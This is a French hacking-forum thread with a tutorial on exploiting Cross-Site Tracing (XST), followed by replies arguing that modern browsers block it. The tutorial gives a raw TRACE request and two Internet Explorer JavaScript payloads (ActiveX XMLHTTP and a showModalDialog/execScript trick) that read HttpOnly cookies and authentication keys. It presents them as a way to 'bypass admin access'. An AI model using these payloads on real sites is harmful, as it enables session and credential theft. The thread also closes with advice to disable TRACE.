Annonce

Réduire
Aucune annonce.

Faille XST

Réduire
X
 
  • Filtre
  • Heure
  • Afficher
Tout nettoyer
nouveaux messages

  • Tutoriel Faille XST

    On va voir ensemble comment exploiter la faille XST (Cross-Site Tracing). En effet, cette faille s'exploite lorsque la méthode TRACE (requête HTTP) est activée sur un serveur. La méthode TRACE permet en temps normal d'effectuer des diagnostics de connexion et autre par l'administrateur. L'intérêt de cette méthode est que quand le serveur reçoit une trace request, il répond par un message ou sont contenus plusieurs informations d'envoi et de réponse.
    Cette faille permet de récupérer des informations (cookies, session, clés) quand l'option HttpOnly est activée.

    Cet exploit est réalisable sous Internet Explorer.

    Code:
    Trying xxx.xx.xxx.xxx..
    Connected to cible.com.
    Escape character is '^]'.
    TRACE / HTTp/1.0
    
    HTTP/1.1 200 OK
    Date: Mon, 27 Jun 2011 20:42:00 GMT
    Server: Apache/2.2.19 (Unix) mod_ssl/2.2.19 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
    Connection: close
    Content-Type: message/http
    On voit que les données reçues sont de type message/html. Pourquoi est-ce intéressant ?
    Sur certains serveurs, l'administrateur a activé l'option HttpOnly. Cette option désactive l'affichage côté client des cookies du site ; en clair, avec cette option, l'exploitation de failles XSS est impossible. C'est une mesure de sécurisation de manipulation des cookies.
    La méthode TRACE contient et affiche les en-têtes des requêtes HTTP, ces en-têtes contiennent les cookies et les clés d'authentification, et nous pouvons donc les récupérer en forçant un TRACE sur le serveur sans passer par l'instruction "document.cookie".

    En temps normal, la balise FORM (html) n'autorise que les méthodes GET et POST. Cependant, nous pouvons pallier à ce problème en contournant la limitation de méthode. Pour cela, on va scripter un contournement avec les XHR (xHtml Request):


    Code:
    <script type=”text/javascript”>
    <!--
    function envoyerMethodeTrace () {
    var xmlHttp = new ActiveXObject(“Microsoft.XMLHTTP”);
    xmlHttp.open(“TRACE”, “http://site.com”,false);
    xmlHttp.send();
    xmlDoc=xmlHttp.responseText;
    alert(xmlDoc);
    }
    //-->
    </script>
    <input type="button" OnClick=”envoyerMethodeTrace();” VALUE=”Envoyer un TRACE”>

    On récupère l'alert suivante:




    On voit alors que l'on peut récupérer des cookies sans passer par "document.cookie".
    Maintenant que nous avons les cookies, pourquoi ne pas bypasser la sécurité serveur DSP (domain security policy) en récupérant les clés d'authentification ?
    Encore une fois nous allons utiliser les XHR et le TRACE Forcing:


    Code:
    <script type=”text/javascript”>
    function xssDomainTraceRequest(){
    var exampleCode = “var xmlHttp = new ActiveXObject(\
    ”Microsoft.XMLHTTP\”)\;xmlHttp.open(\”TRACE\”,\”http://site.com\”,false)\
    ;xmlHttp.send()\;xmlDoc=xmlHttp.responseText\;alert(xmlDoc)\;”;
    var target = “http://site.com”;
    cExampleCode = encodeURIComponent(exampleCode + ‘;top.close()’);
    var readyCode = ‘font-size:expression(execScript(decodeURIComponen
    t(“’ + cExampleCode + ‘”)))’;
    showModalDialog(target, null, readyCode);
    }
    </script>
    <input type="button" OnClick=”xssDomainTraceRequest()” VALUE=”Cookie et clés d'auth”>

    Et nous affichons l'alert suivante:



    On voit alors que l'on possède la clé d'authentification (hash base 64), qu'il ne nous reste plus qu'à décrypter. Et voilà, nous possédons toutes les informations utiles pour bypasser l'accès admin sans utiliser "document.cookie".


    Administrateurs, vous l'aurez donc compris, pour vous prémunir contre cette faille, le meilleur moyen est de désactiver la méthode TRACE quand vous ne vous en servez pas.
    Attention: la méthode TRACE est activée par défaut.

    Dernière modification par MadHatter, 27 décembre 2011, 17h34.
    Ex-membre Hackademiciens.

  • #2
    Le XST c'est mort désormais en javascript. Il faut s'appuyer sur du Flash ou du Java pour le caser. Pas évident à faire en l'état actuel des choses.

    Commentaire


    • #3
      En fait, ce n'est pas tant le langage qui importe que la méthode procédurale en elle-même.
      La sécurisation des protocoles de filtrage des requêtes directes ou indirectes (définis via la RFC266) est seule mise en cause ici. Les procédures vectorisées par les XMLDOM ou Active X continuent de fonctionner sur les serveurs dont les protocoles ne sont pas updatés ou qui laissent ouvertes des méthodes sans contrôles de l'ID, telles que CONNECT, DELETE, TRACE...
      Après, l'automatisation du processus dépend des affinités de chacun.
      Ex-membre Hackademiciens.

      Commentaire


      • #4
        Ce n'est pas un problème de configuration serveur. Même un serveur configuré pour autoriser la méthode TRACE ne pourra plus être attaqué via une XST par les browsers modernes. C'est le moteur de Javascript qui empêchera l'utilisation de la méthode TRACE.

        Pour le reste, je n'ai rien compris à ton propos sur la RFC266 (???) ou les procédures vectorisées (???).

        Commentaire


        • #5
          Deux choses :
          - Pourquoi restreindre la vulnérabilité XS(T) aux navigateurs ? Ce n'est qu'un instrument parmi d'autres, et ce n'est pas l'unique interface d'exploitation de cette vulnérabilité. La restriction des moteurs JS embarqués est un facteur subsidiaire, non primaire. Donc le problème porte bien sur la configuration de traitement du serveur, puisque la sécurisation des méthodes met définitivement fin aux actions de toutes les interfaces envisageables. A ce titre, le rapport technique de Jeremiah Grossman (2003) illustre bien le sujet.

          - Voyons, qui se laisse encore freiner par la configuration basale des moteurs JS embarqués par les navigateurs ? Que ce soient Rhino, V8 ou Futhark, chacun est techniquement modulable.

          C'est la RFC2616 qui définit les méthodes et l'ordonnancement entre méthodes ; les procédures vectorisées sont des procédures instrumentalisées par une technologie parallèle.
          Dernière modification par MadHatter, 19 novembre 2012, 17h59.
          Ex-membre Hackademiciens.

          Commentaire


          • #6
            Envoyé par MadHatter Voir le message
            La sécurisation des protocoles de filtrage des requêtes directes ou indirectes (définis via la RFC266)...
            Envoyé par MadHatter Voir le message
            C'est la RFC2616 qui définit les méthodes et l'ordonnancement entre méthodes ; les procédures vectorisées sont des procédures instrumentalisées par une technologie parallèle.
            Tu as fait une erreur de frappe qui est la cause de ce malentendu. RFC2616 ok.

            Envoyé par MadHatter Voir le message
            - Pourquoi restreindre la vulnérabilité XS(T) aux navigateurs ? Ce n'est qu'un instrument parmi d'autres, et ce n'est pas l'unique interface d'exploitation de cette vulnérabilité. La restriction des moteurs JS embarqués est un facteur subsidiaire, non primaire.
            Quelle autre exploitation qu'une exploitation navigateur envisages-tu pour le XST?

            Envoyé par MadHatter Voir le message
            Donc le problème porte bien sur la configuration de traitement du serveur, puisque la sécurisation des méthodes met définitivement fin aux actions de toutes les interfaces envisageables. A ce titre, le rapport technique de Jeremiah Grossman (2003) illustre bien le sujet.
            La configuration des serveurs est bien entendu le point clé du problème. Effectivement, une méthode de debug (la méthode TRACE) n'a rien à faire activée dans un environnement de production. Seulement, dans l'exemple que tu cites, l'utilisation d'AJAX pour exécuter un TRACE ne fonctionne pas/plus.

            Envoyé par MadHatter Voir le message
            - Voyons, qui se laisse encore freiner par la configuration basale des moteurs JS embarqués par les navigateurs ? Que ce soient Rhino, V8 ou Futhark, chacun est techniquement modulable.
            Je suis peut-être complètement naz, c'est possible, mais en l'état je ne vois pas comment contourner la limitation des moteurs JS. Tu peux peut-être m'éclairer, parce que ça m'intéresse fortement.

            Commentaire


            • #7
              En gros impossible d'exploiter la faille XST dommage pour un débutant c'était une technique envisageable (quand je dis débutant je pense à quelqu'un qui connait au moin 2-3 langages de programmation ainsi que des notions sur les réseaux et protocoles,ce qui n'est pas encore mon cas remarquez, mais ça viendra je me force à refouler mon côté impatient "je veux tout savoir de suite")... bientôt faudra avoir minimum 5 ans d'expérience pour réaliser un exploit le site le plus mal protégé au monde.

              Après il reste toujours la CSRF mais ça tient plus du social engineering donc c'est pas vraiment du hack ça, même si kévin mitnick a réaliser de nombreuses choses avec ça si mes souvenirs sont exact.
              Dernière modification par rayliegh, 26 novembre 2012, 06h32.

              Commentaire

              Chargement...
              X